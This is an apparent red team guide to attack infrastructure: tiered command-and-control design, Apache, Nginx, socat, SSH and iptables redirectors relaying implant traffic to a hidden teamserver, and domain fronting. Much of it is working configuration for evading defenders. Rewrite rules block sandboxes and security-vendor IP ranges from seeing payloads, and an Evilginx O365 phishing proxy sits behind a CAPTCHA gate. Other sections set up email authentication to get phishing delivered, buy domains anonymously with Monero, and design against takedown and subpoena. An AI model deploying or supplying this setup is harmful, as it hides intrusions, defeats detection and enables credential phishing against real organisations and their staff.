Red Team Infrastructure

Red team infrastructure setup. Redirectors, domain fronting, C2 over CDN, SSL certificates, aged domains, and infrastructure-as-code with Terraform.

#Architecture Overview

#Infrastructure Tiers

Red team infrastructure is layered so that burning one component does not compromise the entire operation. Each tier serves a different operational purpose and has its own lifecycle.

Infrastructure Tiers

1
Short-Haul (Burn after use) Hours to days

Phishing and initial access infrastructure. Intentionally disposable - this tier will be detected and burned. Separation ensures its compromise never touches the persistent C2 channel.

SMTP relay → Phishing redirector → Landing page
2
Long-Haul (Persistent C2) Weeks to months

Persistent command and control channels that survive redirector burns. This is the core of the operation - protected by multiple layers of indirection (CDN, domain fronting, HTTPS redirectors).

Operator → CDN/Fronting → HTTPS Redirector → C2 Server → Target
3
Interactive (Post-Exploitation) Per session

On-demand interactive access for post-exploitation, lateral movement, and data exfiltration. These sessions are the noisiest and most detectable - use sparingly and through dedicated channels.

Operator → SSH Redirector → SOCKS proxy → Internal pivot

Tier Comparison

Tier Detection Risk Burn Impact Replacement Time
Short-Haul High (expected) None (disposable) Minutes (IaC)
Long-Haul Low (blends in) Moderate (redirector replaceable) Hours (DNS propagation)
Interactive High (noisy) Session loss only Minutes (new tunnel)
Tier Purpose Lifetime Example
Short-haul Phishing, initial callbacks Hours to days GoPhish + Evilginx
Long-haul Persistent C2 Weeks to months Cobalt Strike + HTTPS redirectors
Interactive Post-exploit ops Per session SSH tunnels + SOCKS proxies

#Why Layered Infrastructure

Principle What it means What happens without it
Attribution resistance Each layer uses different VPS, provider, domain, payment method. Defender sees only the redirector IP. C2 teamserver IP exposed on first detection. Entire op burned.
Burn resilience Redirector blocked? Spin a new one, update DNS. C2 server + sessions untouched. Losing one server = losing all implants and data.
Traffic separation Phishing infra (noisy, gets flagged fast) is completely separate from long-haul C2. One phishing detection cascades to C2 infrastructure. Game over.
Provider diversity Different cloud providers per tier (e.g., AWS for redirectors, Azure for C2, GCP for phishing). Single provider takedown or subpoena kills everything.
Credential isolation Each tier has separate admin credentials, SSH keys, API tokens. No shared secrets. Compromised redirector creds give access to C2 server.
Logging separation Each tier logs to different locations. C2 server logs never touch redirectors. Forensics on a seized redirector reveals C2 server activity.

Rule of thumb: If a defender seizes any single component, they should learn nothing about the rest of the infrastructure. Every piece is disposable and independently replaceable.

Cost of flat infrastructure: In a non-layered setup, the implant beacons directly to the C2 server's real IP. Blue team sees the IP in network logs, submits it to threat intel, and within hours your entire operation is attributed and blocked. Rebuilding means re-compromising every target.

Real-world example: A redirector running Apache mod_rewrite on a $5/month VPS inspects User-Agent, URI, and source IP. Only traffic matching the C2 malleable profile gets forwarded. Everything else gets a 302 redirect to microsoft.com. If the redirector is burned, you change one DNS A record and the C2 server never moves.

#Full Traffic Flow

C2 Traffic Flow

1
Target (Implant) Corp network

Beacon/implant on compromised host makes HTTPS callbacks to the CDN domain on a jittered interval. Outbound HTTPS to a well-categorized domain - blends with normal web traffic.

Defender sees: HTTPS to CDN domain Real destination: hidden
2
CDN / Domain Front Cloudflare / Azure / Workers

CDN terminates TLS and forwards the request based on the Host header. If using Cloudflare Workers, the serverless function relays to the origin. Network monitors see a legitimate CDN IP as the destination.

Defense: SSL inspection decrypts inner Host header Counter: use Workers (no Host mismatch needed)
3
HTTPS Redirector VPS #1 (DigitalOcean)

Apache mod_rewrite or Nginx inspects URI, User-Agent, and source IP. Requests matching the C2 malleable profile get proxied to the teamserver. Everything else is redirected to a decoy site (microsoft.com).

Defense: scan redirector IP for C2 signatures Counter: only valid C2 URIs proxy, rest returns decoy
4
C2 Teamserver VPS #2 (BuyVM/Njalla)

Cobalt Strike, Sliver, or Mythic teamserver. Firewall only accepts inbound from redirector IPs. SSH management only through VPN. Never directly exposed to the internet.

Defense: threat intel correlation on VPS IP Counter: IP never exposed, only redirector seen
Operator VPN (Mullvad) → SSH to teamserver

Operator connects to the C2 teamserver management port (e.g., 50050 for Cobalt Strike, 31337 for Sliver) through a VPN and/or SSH tunnel. Real IP never touches any infrastructure component.

Channel Comparison

Channel Speed Stealth Resilience
HTTPS (CDN) Fast (full HTTP body) High (blends with web) Medium (proxy can block)
DNS Slow (max ~250 bytes/query) Medium (query entropy detectable) High (DNS rarely blocked)
DoH Slow (DNS in HTTPS) High (encrypted DNS) High (encrypted + allowed)

The operator never connects directly to the C2 server from their real IP. All management traffic goes through a VPN and/or SSH jump host. The target only ever sees the redirector IP, which can be replaced without disruption.

#Payload Gating & Anti-Analysis

#Cloudflare Turnstile

Turnstile is a free CAPTCHA alternative by Cloudflare. For red team, it gates phishing pages and payload delivery behind human verification - automated sandbox scanners, IR bots, and threat intel crawlers fail the challenge and never see the actual payload.

<!-- Phishing page with Turnstile gate -->
<!-- 1. Add Turnstile widget to your landing page -->
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

<form id="gate" method="POST" action="/payload">
  <!-- Invisible mode: user doesn't see anything, just passes through -->
  <div class="cf-turnstile" data-sitekey="YOUR_SITE_KEY"
       data-callback="onSuccess" data-theme="dark"></div>
</form>

<script>
function onSuccess(token) {
  // Token validated -> redirect to real payload
  document.getElementById('gate').submit();
}
</script>
# Server-side token verification (Flask example)
import requests

@app.route('/payload', methods=['POST'])
def serve_payload():
    token = request.form.get('cf-turnstile-response')
    # Verify with Cloudflare
    r = requests.post('https://challenges.cloudflare.com/turnstile/v0/siteverify', data={
        'secret': 'YOUR_SECRET_KEY',
        'response': token,
        'remoteip': request.remote_addr
    })
    if r.json().get('success'):
        return send_file('legit_document.docx')  # real payload
    return redirect('https://microsoft.com')  # sandbox/bot -> redirect away

#Gating Strategies

Strategy Implementation Blocks Limitation
Turnstile/CAPTCHA Cloudflare Turnstile, hCaptcha, reCAPTCHA Automated scanners, sandbox bots, crawlers Adds friction for target, some sandboxes solve CAPTCHAs
Geofencing Nginx GeoIP or Cloudflare Access Rules Analysts outside target country Target may use VPN, remote workers
Time window Cron job / serverless TTL Late analysis (IR team investigates days later) Misses targets outside the window
User-Agent filter Apache mod_rewrite / Nginx Known sandbox UA strings (wget, curl, python-requests) Easy to spoof
Source IP filter iptables / Cloudflare WAF Known security vendor IP ranges (VirusTotal, Any.Run, Hybrid Analysis) IP lists change, residential proxies bypass
JavaScript check JS redirect + DOM fingerprint Headless browsers without full JS engine Modern sandboxes have full browser emulation
Click tracking Unique URL per target (GoPhish) Replay attacks on shared links Doesn't block, just tracks
Evilginx Turnstile Turnstile on Evilginx proxy Bots hitting the phishing reverse proxy May interfere with transparent proxying

#Combining Gates

Best practice: stack multiple gates. A scanner must pass ALL of them to reach the payload.

# Apache: GeoIP + User-Agent + Turnstile
# .htaccess on payload server

# Block non-target countries
RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|DE|GB|US)$
RewriteRule .* https://microsoft.com [R=302,L]

# Block known sandbox User-Agents
RewriteCond %{HTTP_USER_AGENT} (bot|crawl|spider|scan|curl|wget|python) [NC]
RewriteRule .* https://microsoft.com [R=302,L]

# Block known security vendor IP ranges
RewriteCond %{REMOTE_ADDR} ^(35\.190\.|34\.98\.) [OR]
RewriteCond %{REMOTE_ADDR} ^(20\.190\.|13\.64\.)
RewriteRule .* https://microsoft.com [R=302,L]

# Everything else -> Turnstile landing page -> payload
RewriteRule ^payload$ /turnstile-gate.html [L]
# Evilginx + Turnstile combo
# 1. Deploy Evilginx with O365 phishlet
# 2. Put Cloudflare proxy (orange cloud) in front
# 3. Enable Turnstile on the Cloudflare dashboard
# 4. Bot Protection: set Security Level to "I'm Under Attack" for the phishing domain
# 5. Only humans pass through to Evilginx
# Result: VirusTotal, urlscan.io, Any.Run all see the Turnstile challenge page, never the phish

#Redirectors

#HTTP Redirectors - Apache mod_rewrite

Apache mod_rewrite is the most common redirector technique. The .htaccess rules inspect incoming requests and forward only those matching the C2 malleable profile - everything else gets redirected to a legitimate site to look benign to scanners and IR teams.

# /var/www/html/.htaccess
# Redirect C2 traffic matching Cobalt Strike malleable profile URIs
# Block known sandbox/scanner user agents
# Forward everything else to a legitimate decoy site

RewriteEngine On

# --- Block known sandboxes, scanners, and security vendors ---
RewriteCond %{HTTP_USER_AGENT} ^.*(curl|wget|python|httpie|scanner|nmap|nikto|sqlmap|masscan|zgrab|censys|shodan).*$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
# Block known threat intel IP ranges (example: VirusTotal, AnyRun)
RewriteCond %{REMOTE_ADDR} ^74\.125\. [OR]
RewriteCond %{REMOTE_ADDR} ^13\.107\. [OR]
RewriteCond %{REMOTE_ADDR} ^20\.36\.
RewriteRule ^.*$ https://www.microsoft.com/en-us? [L,R=302]

# --- Match Cobalt Strike malleable C2 profile URIs ---
# Adjust these URIs to match your malleable profile exactly
RewriteCond %{REQUEST_URI} ^/(api/v1/updates|api/v1/status|news/latest)$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0.*Windows\ NT.*$ [NC]
RewriteRule ^.*$ http://TEAMSERVER-IP:%{SERVER_PORT}%{REQUEST_URI} [P,L]

# --- Match stager URIs ---
RewriteCond %{REQUEST_URI} ^/(jquery-3\.6\.1\.min\.js|assets/css/style\.css)$
RewriteRule ^.*$ http://TEAMSERVER-IP:%{SERVER_PORT}%{REQUEST_URI} [P,L]

# --- Everything else: redirect to legitimate site ---
RewriteRule ^.*$ https://www.microsoft.com/en-us? [L,R=302]

Enable required Apache modules:

sudo a2enmod rewrite proxy proxy_http ssl headers
sudo systemctl restart apache2

#Nginx Reverse Proxy Redirector

Nginx as a C2 redirector with URI and user-agent filtering. Non-matching traffic returns a generic page or proxies to a legitimate site.

# /etc/nginx/sites-available/redirector
server {
    listen 443 ssl;
    server_name cdn-assets.example.com;

    ssl_certificate     /etc/letsencrypt/live/cdn-assets.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/cdn-assets.example.com/privkey.pem;

    # Block empty or suspicious user agents
    if ($http_user_agent ~* "(curl|wget|python|scanner|nikto|sqlmap)") {
        return 302 https://www.microsoft.com;
    }
    if ($http_user_agent = "") {
        return 302 https://www.microsoft.com;
    }

    # Forward matching C2 URIs to teamserver
    location ~ ^/(api/v1/updates|api/v1/status|news/latest)$ {
        proxy_pass         https://C2-SERVER-IP:443;
        proxy_ssl_verify   off;
        proxy_set_header   Host $host;
        proxy_set_header   X-Forwarded-For $remote_addr;
        proxy_set_header   X-Real-IP $remote_addr;
    }

    # Everything else - serve decoy or redirect
    location / {
        return 302 https://www.microsoft.com;
    }
}
sudo ln -s /etc/nginx/sites-available/redirector /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx

#Socat Redirector

Quick TCP/UDP port forwarding. Useful for fast redirector standup, testing, or when you can't install Apache/Nginx.

# === Basic TCP redirect (HTTPS C2) ===
socat TCP4-LISTEN:443,reuseaddr,fork TCP4:C2-SERVER-IP:443 &

# === With source IP logging ===
socat -v TCP4-LISTEN:443,reuseaddr,fork TCP4:C2-SERVER-IP:443 2>>redirector.log &

# === UDP redirector (DNS C2) ===
socat UDP4-LISTEN:53,reuseaddr,fork UDP4:C2-SERVER-IP:53 &

# === TLS-wrapped redirect (encrypt redirector <-> C2 link) ===
# Generate self-signed cert first:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=redirect"
# Listen TLS on 443, forward plain TCP to C2
socat OPENSSL-LISTEN:443,reuseaddr,fork,cert=cert.pem,key=key.pem,verify=0 \
  TCP4:C2-SERVER-IP:8080 &

# === Bind to specific interface ===
socat TCP4-LISTEN:443,reuseaddr,fork,bind=10.0.0.1 TCP4:C2-SERVER-IP:443 &

# === Rate limiting (1 connection per second) ===
# Use with cron or wrapper script for production
socat TCP4-LISTEN:443,reuseaddr,fork,max-children=5 TCP4:C2-SERVER-IP:443 &

# === Run as systemd service (persistent across reboot) ===
# /etc/systemd/system/redirector.service
# [Service]
# Type=simple
# ExecStart=/usr/bin/socat TCP4-LISTEN:443,reuseaddr,fork TCP4:C2-SERVER-IP:443
# Restart=always
# RestartSec=5
# [Install]
# WantedBy=multi-user.target
sudo systemctl enable --now redirector

Socat limitations: No request inspection (forwards everything blindly), no User-Agent filtering, no URI filtering. For smart filtering, use Apache mod_rewrite or Nginx. Socat is best for quick standup or non-HTTP protocols.

#SSH Redirectors

SSH tunnels create encrypted channels. All traffic between redirector and C2 is encrypted inside SSH. autossh keeps tunnels persistent.

# === Local port forward ===
# Redirector listens on :443, forwards to C2:443 through SSH
ssh -N -L 0.0.0.0:443:C2-SERVER-IP:443 user@C2-SERVER-IP

# === Remote port forward ===
# C2 server initiates connection to redirector (useful when C2 is behind NAT)
ssh -N -R 0.0.0.0:443:localhost:443 user@REDIRECTOR-IP

# === Dynamic SOCKS proxy ===
# All traffic routed through SOCKS on redirector
ssh -N -D 0.0.0.0:1080 user@REDIRECTOR-IP

# === Persistent tunnel with autossh ===
# Restarts on failure, sends keepalives every 30s
sudo apt install autossh -y
autossh -M 0 -f -N \
  -o "ServerAliveInterval 30" \
  -o "ServerAliveCountMax 3" \
  -o "ExitOnForwardFailure yes" \
  -L 0.0.0.0:443:C2-SERVER-IP:443 user@C2-SERVER-IP

# === SSH config for OPSEC (no host key prompt, no logging) ===
# ~/.ssh/config on redirector
# Host c2
#   HostName C2-SERVER-IP
#   User operator
#   IdentityFile ~/.ssh/c2_key
#   StrictHostKeyChecking no
#   UserKnownHostsFile /dev/null
#   LogLevel ERROR

# === Multi-hop tunnel (Redirector -> Jump -> C2) ===
ssh -N -L 0.0.0.0:443:C2-IP:443 \
  -J jumpuser@JUMP-IP:22 user@C2-IP

# === Reverse SSH tunnel as service (C2 calls home to redirector) ===
# On C2 server: creates persistent tunnel to redirector
autossh -M 0 -f -N \
  -o "ServerAliveInterval 30" \
  -R 0.0.0.0:443:localhost:443 user@REDIRECTOR-IP

SSH vs socat: SSH encrypts the tunnel and supports key-based auth. Socat is simpler but sends traffic in clear (unless you add TLS). Use SSH for production, socat for quick tests.

#iptables Redirectors

Kernel-level port forwarding - no userspace process needed. Fastest option but no traffic inspection.

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

# Forward all 443 traffic to C2 server
iptables -t nat -A PREROUTING -p tcp --dport 443 \
  -j DNAT --to-destination C2-SERVER-IP:443
iptables -t nat -A POSTROUTING -j MASQUERADE

# Only forward traffic from specific geo/IP range (e.g., target country)
iptables -t nat -A PREROUTING -p tcp --dport 443 \
  -m geoip --src-cc US \
  -j DNAT --to-destination C2-SERVER-IP:443

# Drop everything else on 443
iptables -A INPUT -p tcp --dport 443 -j DROP

# Forward DNS (UDP 53) to C2 for DNS-based C2
iptables -t nat -A PREROUTING -p udp --dport 53 \
  -j DNAT --to-destination C2-SERVER-IP:53
iptables -t nat -A POSTROUTING -p udp -d C2-SERVER-IP --dport 53 \
  -j MASQUERADE

# Save rules persistently
iptables-save > /etc/iptables/rules.v4

Install geoip module for country-based filtering:

sudo apt install xtables-addons-common libtext-csv-xs-perl -y
sudo /usr/lib/xtables-addons/xt_geoip_dl
sudo /usr/lib/xtables-addons/xt_geoip_build

#Domain Setup

#Aged Domains

Aged domains (1+ years old with clean history) bypass reputation-based filtering that flags newly registered domains. Many proxies, firewalls, and email gateways score domain age as a trust signal.

Where to find them:

Source URL Notes
ExpiredDomains.net expireddomains.net Best free resource, filter by age/backlinks
NameJet namejet.com Auction for premium expiring domains
GoDaddy Auctions auctions.godaddy.com Large selection, easy transfer
SnapNames snapnames.com Backorder expiring domains
Dynadot dynadot.com/market Marketplace with aged inventory

Vetting checklist before purchase:

# Check domain age and history
whois example.com | grep -i "creation date"

# Check web archive for previous content (avoid domains with malware/spam history)
# Visit: https://web.archive.org/web/*/example.com

# Check categorization across vendors
# Bluecoat:    https://sitereview.bluecoat.com/
# McAfee:      https://www.trustedsource.org/
# Fortiguard:  https://www.fortiguard.com/webfilter
# Palo Alto:   https://urlfiltering.paloaltonetworks.com/
# Bright Cloud: https://www.brightcloud.com/tools/url-ip-lookup.php

# Check if domain is blacklisted
# MXToolbox:   https://mxtoolbox.com/blacklists.aspx
# VirusTotal:  https://www.virustotal.com/gui/domain/example.com

Anonymous domain purchase (crypto):

Registrar Crypto accepted Privacy Notes
Njalla BTC, XMR, LTC, ETH Full privacy, acts as domain owner for you Best OPSEC - they own the domain on your behalf
Orangewebsite BTC Iceland, strong privacy laws Free speech focused
1984.is BTC Iceland Privacy-respecting
Epik BTC WHOIS privacy included Large selection
Porkbun BTC (via BitPay) Free WHOIS privacy Cheap, good UI

Njalla is the gold standard for anonymous domain registration. Unlike regular registrars, Njalla registers the domain in THEIR name and lets you use it. Your real identity never appears anywhere - not in WHOIS, not in registrar records, not in payment logs (pay with Monero for maximum privacy).

Recategorization - After purchase, host a legitimate-looking site (clone a business page) for 1-2 weeks, then submit for recategorization at each vendor listed above. Target categories: "Business", "Technology", "News/Media".

#SSL/TLS Certificates

# Let's Encrypt - free, automated, trusted by everything
sudo apt install certbot -y

# Standalone mode (no web server running)
sudo certbot certonly --standalone -d c2.example.com

# Webroot mode (web server already running)
sudo certbot certonly --webroot -w /var/www/html -d c2.example.com

# Auto-renewal cron
echo "0 0 1 * * root certbot renew --quiet" >> /etc/crontab

# Wildcard certificate via DNS challenge
sudo certbot certonly --manual --preferred-challenges dns \
  -d "*.example.com" -d example.com

Cloudflare origin certificate (15-year validity, only valid behind Cloudflare proxy):

# Generate via Cloudflare dashboard:
# SSL/TLS -> Origin Server -> Create Certificate
# Download .pem and .key files

# Install on your server
sudo cp origin-cert.pem /etc/ssl/certs/
sudo cp origin-key.key /etc/ssl/private/
sudo chmod 600 /etc/ssl/private/origin-key.key

Self-signed for internal/testing:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem \
  -sha256 -days 365 -nodes \
  -subj "/C=US/ST=California/L=SanFrancisco/O=Contoso/CN=internal.local"

Monitor certificate transparency logs to detect if defenders are watching your domains:

# Query crt.sh for all certificates issued for your domain
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value' | sort -u

#DNS Configuration

#Record Types for Red Team Infrastructure

Record Use Case When to Use Example
A Redirector direct IP Redirector at a specific VPS IP. Use for HTTPS redirectors, mail servers, any host needing a fixed IP. cdn-assets.example.com -> 203.0.113.10
CNAME Alias to another hostname Multiple subdomains pointing at the same redirector without duplicating A records. Cannot be used on zone apex (bare domain). Useful for CDN/Cloudflare setups. static.example.com -> cdn-assets.example.com
MX Phishing mail delivery Required for GoPhish/SMTP infra. Points to the mail server handling email for the domain. Set priority (lower = preferred). example.com MX 10 mail.example.com
TXT (SPF) Email sender authorization Tells receiving servers which IPs can send mail for your domain. Without it, phishing emails land in spam. v=spf1 ip4:203.0.113.10 -all
TXT (DKIM) Email cryptographic signing DKIM public key so recipients verify emails were signed by your domain. Dramatically improves inbox delivery. selector._domainkey TXT "v=DKIM1; k=rsa; p=MIG..."
TXT (DMARC) Email policy enforcement Tells receivers what to do with mail that fails SPF/DKIM. p=none for testing, p=quarantine for production phishing. _dmarc TXT "v=DMARC1; p=none; rua=..."
NS DNS C2 (authoritative nameserver) Delegate a subdomain to your C2 server so all DNS queries for *.c2sub.example.com go directly to your server. Required for DNS-based C2 (Cobalt Strike DNS, Sliver DNS, iodine). c2sub.example.com NS ns1.example.com

A record vs CNAME for redirectors: Use an A record when the redirector is a VPS with a static IP. Use CNAME when the redirector sits behind a CDN (Cloudflare, Azure CDN) and you want additional subdomains to resolve through the same CDN edge. CNAMEs cannot exist at the zone apex (example.com itself), only on subdomains. If you need the bare domain, use an A record (or Cloudflare's CNAME flattening).

#SPF, DKIM, DMARC for Phishing Credibility

Without proper email authentication records, phishing emails are flagged as spam by Gmail, O365, and most enterprise gateways. Setting up all three is non-negotiable for credible phishing.

# === SPF Record ===
# Allow only your mail server IP to send, hard-fail everything else
# Add as TXT record on the bare domain
# v=spf1 ip4:MAIL-SERVER-IP -all
#
# If using a third-party sender (e.g., Mailgun):
# v=spf1 ip4:MAIL-SERVER-IP include:mailgun.org -all

# === DKIM Setup (with OpenDKIM on the GoPhish mail server) ===
sudo apt install opendkim opendkim-tools -y

# Generate DKIM keypair
sudo mkdir -p /etc/opendkim/keys/example.com
sudo opendkim-genkey -b 2048 -d example.com -D /etc/opendkim/keys/example.com -s gophish -v
sudo chown -R opendkim:opendkim /etc/opendkim

# The public key to add as a DNS TXT record:
cat /etc/opendkim/keys/example.com/gophish.txt
# Add this as TXT record: gophish._domainkey.example.com

# /etc/opendkim.conf
# Domain                  example.com
# KeyFile                 /etc/opendkim/keys/example.com/gophish.private
# Selector                gophish
# Socket                  inet:8891@localhost

# === DMARC Record ===
# Add as TXT on _dmarc.example.com
# Start permissive (p=none) to monitor, tighten later
# v=DMARC1; p=none; rua=mailto:[email protected]; fo=1
# For production phishing: v=DMARC1; p=quarantine; pct=100

#NS Records for DNS C2

DNS C2 requires your C2 server to be the authoritative nameserver for a subdomain. When the implant queries <encoded-data>.c2sub.example.com, the DNS resolver chain eventually reaches your server, which decodes the query and responds with C2 instructions encoded in DNS responses (TXT, A, AAAA, CNAME records).

# At your registrar or DNS provider, create:
# 1. A record for your nameserver: ns1.example.com -> C2-SERVER-IP
# 2. NS delegation: c2sub.example.com NS ns1.example.com
#
# Now ALL DNS queries for *.c2sub.example.com go to your C2 server.
# The C2 framework (Cobalt Strike, Sliver) listens on UDP 53 and handles them.

# Verify delegation works:
dig NS c2sub.example.com +short
# Should return: ns1.example.com

dig A test.c2sub.example.com @ns1.example.com
# Should reach your C2 server

#Low TTL Strategy

Set TTL to the minimum (1 second on Cloudflare, 60-300 seconds elsewhere). Low TTL means DNS changes propagate fast, so you can rotate redirector IPs within minutes when one gets burned. The tradeoff: more frequent DNS lookups from implants, which can be a detection signal if blue team monitors DNS query volume.

Scenario TTL Reasoning
Active operation, expecting burns 60-300s Fast IP rotation when redirector is blocked
Stable long-haul C2 3600s+ Fewer DNS queries, lower detection signature
Pre-operation staging 300s Ready to change quickly during setup
Phishing campaign launch 60s Rapid redirect if domain is flagged

#Split-Horizon DNS

Split-horizon (split-brain) DNS returns different answers depending on who is asking. Useful when your C2 server and redirectors are on the same private network (VPC): internal queries resolve to private IPs, external queries resolve to public IPs.

# Example with BIND9 split-horizon
# Internal view (VPC traffic) -> private IPs
# External view (internet) -> public redirector IPs
#
# /etc/bind/named.conf
# view "internal" {
#   match-clients { 10.10.10.0/24; };
#   zone "example.com" {
#     type master;
#     file "/etc/bind/zones/internal.example.com";
#   };
# };
# view "external" {
#   match-clients { any; };
#   zone "example.com" {
#     type master;
#     file "/etc/bind/zones/external.example.com";
#   };
# };
#
# Practical use: redirector resolves C2 hostname to 10.10.10.5 (private),
# while implants on the internet resolve it to the public redirector IP.

#Complete DNS Zone File Example

; Zone file for example.com - Red team engagement
; TTL kept low for rapid rotation
$TTL 300

; SOA record
@   IN  SOA ns1.example.com. admin.example.com. (
            2026040501  ; serial
            3600        ; refresh
            900         ; retry
            604800      ; expire
            300         ; minimum TTL
        )

; Nameservers (NS1 is the C2 server for DNS C2)
@           IN  NS      ns1.example.com.
@           IN  NS      ns2.example.com.

; A records - nameserver glue records
ns1         IN  A       C2-SERVER-IP
ns2         IN  A       BACKUP-IP

; A records - redirectors
cdn-assets  IN  A       REDIRECTOR1-IP
www         IN  A       REDIRECTOR2-IP

; CNAME - aliases to primary redirector
static      IN  CNAME   cdn-assets.example.com.
update      IN  CNAME   cdn-assets.example.com.

; MX - phishing mail server
@           IN  MX  10  mail.example.com.
mail        IN  A       MAIL-SERVER-IP

; SPF - authorize mail server
@           IN  TXT     "v=spf1 ip4:MAIL-SERVER-IP -all"

; DKIM - email signing public key
gophish._domainkey  IN  TXT  "v=DKIM1; k=rsa; p=MIGfMA0GCSqG..."

; DMARC - email policy
_dmarc      IN  TXT     "v=DMARC1; p=none; rua=mailto:[email protected]; fo=1"

; NS delegation for DNS C2 subdomain
; All queries to *.c2sub.example.com go to ns1 (C2 server)
c2sub       IN  NS      ns1.example.com.

#Cloudflare API - Complete Record Setup

# Using Cloudflare API (replace with your zone ID and API token)

ZONE_ID="your_zone_id"
API_TOKEN="your_api_token"
CF_API="https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records"

# A record - redirector pointing to VPS
curl -X POST "$CF_API" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{
    "type": "A",
    "name": "cdn-assets",
    "content": "REDIRECTOR-IP",
    "proxied": true,
    "ttl": 1
  }'

# CNAME for alternate redirector entry point
curl -X POST "$CF_API" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{
    "type": "CNAME",
    "name": "static",
    "content": "cdn-assets.example.com",
    "proxied": true,
    "ttl": 1
  }'

# MX record for phishing (mail delivery)
curl -X POST "$CF_API" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{
    "type": "MX",
    "name": "example.com",
    "content": "mail.example.com",
    "priority": 10,
    "ttl": 1
  }'

# SPF record
curl -X POST "$CF_API" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{
    "type": "TXT",
    "name": "example.com",
    "content": "v=spf1 ip4:MAIL-SERVER-IP -all",
    "ttl": 1
  }'

# DKIM record
curl -X POST "$CF_API" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{
    "type": "TXT",
    "name": "gophish._domainkey",
    "content": "v=DKIM1; k=rsa; p=YOUR_DKIM_PUBLIC_KEY",
    "ttl": 1
  }'

# DMARC record
curl -X POST "$CF_API" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{
    "type": "TXT",
    "name": "_dmarc",
    "content": "v=DMARC1; p=none; rua=mailto:[email protected]; fo=1",
    "ttl": 1
  }'

# NS delegation for DNS C2 subdomain
curl -X POST "$CF_API" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{
    "type": "NS",
    "name": "c2sub",
    "content": "ns1.example.com",
    "ttl": 1
  }'

DNS over HTTPS for C2 - route DNS-based C2 through DoH to evade DNS inspection:

# Use cloudflared as local DoH proxy
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64
sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared

# Run as DNS proxy (listens on 127.0.0.1:5053, forwards to Cloudflare DoH)
cloudflared proxy-dns --port 5053 --upstream https://1.1.1.1/dns-query &

# Point system DNS at local proxy
echo "nameserver 127.0.0.1" > /etc/resolv.conf

#Domain Fronting & CDN C2

#Domain Fronting

Domain fronting exploits the difference between the SNI field (visible in TLS handshake, shows the CDN's shared domain) and the Host header (inside the encrypted HTTP request, shows the actual destination). Network monitors see traffic going to a legitimate CDN domain, but the CDN routes it to your C2 based on the Host header.

#How the Host Header Trick Works (Step by Step)

  1. The implant initiates a TLS connection to legitimate-site.azureedge.net. The SNI field in the ClientHello is set to this legitimate domain. This is what the firewall, proxy, and DPI engine see in plaintext.
  2. TLS handshake completes. From this point, the HTTP layer is encrypted.
  3. Inside the encrypted tunnel, the implant sends an HTTP request with Host: malicious-c2.azureedge.net. The firewall cannot see this header.
  4. The CDN edge server receives the request. It reads the Host header (not the SNI) to determine which backend to route to.
  5. The CDN proxies the request to the backend configured for malicious-c2.azureedge.net, which is your C2 server.
  6. The C2 response travels back through the CDN to the implant. The firewall only sees encrypted traffic to a legitimate CDN IP.
[Implant] --TLS SNI: "legitimate-site.azureedge.net"--> [Firewall: PASS] --> [CDN Edge]
                                                                                  |
          HTTP Host: "malicious-c2.azureedge.net" (encrypted, invisible to FW)    |
                                                                                  v
[Implant] <--------- C2 response (encrypted) <--------- [CDN Edge] <--- [C2 Server]

Why it works: CDN edge servers multiplex thousands of domains on shared IP addresses. The CDN must inspect the Host header to route traffic, not the SNI. This mismatch is the core of the technique.

Why it gets blocked: CDN providers now validate that SNI matches Host. If they differ, the request is rejected (Cloudflare, AWS, Google). Azure and Fastly have inconsistent enforcement.

#CDN Status Table (2026)

CDN Domain Fronting Alternatives Notes
Cloudflare Blocked Cloudflare Workers as relay (see below) Validates Host == SNI since 2018. Workers are the primary alternative.
AWS CloudFront Blocked Lambda@Edge relay, API Gateway proxy Disabled April 2018. Use Lambda@Edge to proxy traffic through CloudFront distributions. API Gateway + custom domain is another path.
Azure CDN Partially possible Azure Functions relay Standard_Microsoft and Standard_Verizon profiles still allow some mismatched Host headers. Test with curl --resolve before relying on it. Azure Front Door has stricter enforcement.
Google Cloud CDN Blocked GCP Cloud Functions relay Disabled since 2018. Cloud Functions behind a custom domain achieves similar traffic blending.
Fastly Limited Fastly Compute@Edge Shared TLS certificates on some plans still allow fronting. Shared certs are being deprecated. Compute@Edge serverless is the forward path.
Alibaba CDN Possible Direct use Less enforcement as of early 2026. Test per region, enforcement varies. Not reliable for long-term ops.
Akamai Blocked Edge Workers Validates SNI/Host match. Edge Workers can relay similar to Cloudflare Workers.

#Domain Fronting vs Domain Borrowing

These are different techniques often confused:

Aspect Domain Fronting Domain Borrowing
Mechanism SNI/Host header mismatch on same CDN Abuse a legitimate domain's existing CDN configuration
Requirement Your own CDN-hosted domain + a legitimate domain on the same CDN Access to a subdomain or abandoned CNAME of a legitimate org
SNI field Legitimate domain (not yours) The borrowed domain itself
Host header Your C2 domain Your C2 domain (via CNAME takeover or shared config)
Detection Blocked by SNI/Host validation Harder to detect since the domain itself is legitimate
Example SNI=microsoft.com, Host=evil.azureedge.net Dangling CNAME on cdn.targetcorp.com -> your CDN endpoint
2026 viability Mostly dead Still viable where dangling CNAMEs exist

